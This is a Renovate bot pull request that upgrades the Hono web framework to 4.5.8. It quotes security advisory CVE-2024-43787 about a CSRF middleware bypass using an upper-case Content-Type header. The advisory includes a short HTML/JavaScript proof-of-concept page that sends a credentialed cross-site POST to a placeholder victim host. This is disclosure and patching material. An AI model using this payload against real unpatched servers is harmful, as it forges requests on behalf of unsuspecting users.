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Update dependency hono to v4.5.8 [SECURITY] #607

Merged
merged 1 commit into from
Sep 1, 2024
Merged

Update dependency hono to v4.5.8 [SECURITY] #607

merged 1 commit into from
Sep 1, 2024

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@renovate renovate bot commented Sep 1, 2024 •
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This PR contains the following updates:

Package Change Age Adoption Passing Confidence
hono (source) 4.5.3 -> 4.5.8 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2024-43787

Summary

Hono CSRF middleware can be bypassed using crafted Content-Type header.

Details

MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case.

https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17

As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as "Application/x-www-form-urlencoded".

PoC

<html>
  <head>
    <title>CSRF Test</title>
    <script defer>
      document.addEventListener("DOMContentLoaded", () => {
        document.getElementById("btn").addEventListener("click", async () => {
          const res = await fetch("http://victim.example.com/test", {
            method: "POST",
            credentials: "include",
            headers: {
              "Content-Type": "Application/x-www-form-urlencoded",
            },
          });
        });
      });
    </script>
  </head>
  <body>
    <h1>CSRF Test</h1>
    <button id="btn">Click me!</button>
  </body>
</html>

Impact

Bypass csrf protection implemented with hono csrf middleware.

Discussion

I'm not sure that omitting csrf checks for Simple POST request is a good idea.
CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.

Release Notes

honojs/hono (hono)

v4.5.8

Compare Source

Security Fix for CSRF Protection Middleware

Before this release, in versions 4.5.7 and below, the CSRF Protection Middleware did not treat requests including Content-Types with uppercase letters (e.g., Application/x-www-form-urlencoded) as potential attacks, allowing them to pass.

This could cause unexpected behavior, leading to a vulnerability. If you are using the CSRF Protection Middleware, please upgrade to version 4.5.8 or higher immediately.

For more details, see the report here: GHSA-rpfr-3m35-5vx5

v4.5.7

Compare Source

What's Changed
New Contributors

Full Changelog: honojs/hono@v4.5.6...v4.5.7

v4.5.6

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What's Changed

New Contributors

Full Changelog: honojs/hono@v4.5.5...v4.5.6

v4.5.5

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What's Changed

Full Changelog: honojs/hono@v4.5.4...v4.5.5

v4.5.4

Compare Source

What's Changed
New Contributors

Full Changelog: honojs/hono@v4.5.3...v4.5.4

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot merged commit de6a04e into main Sep 1, 2024
1 check passed
@renovate renovate bot deleted the renovate/npm-hono-vulnerability branch September 1, 2024 06:23
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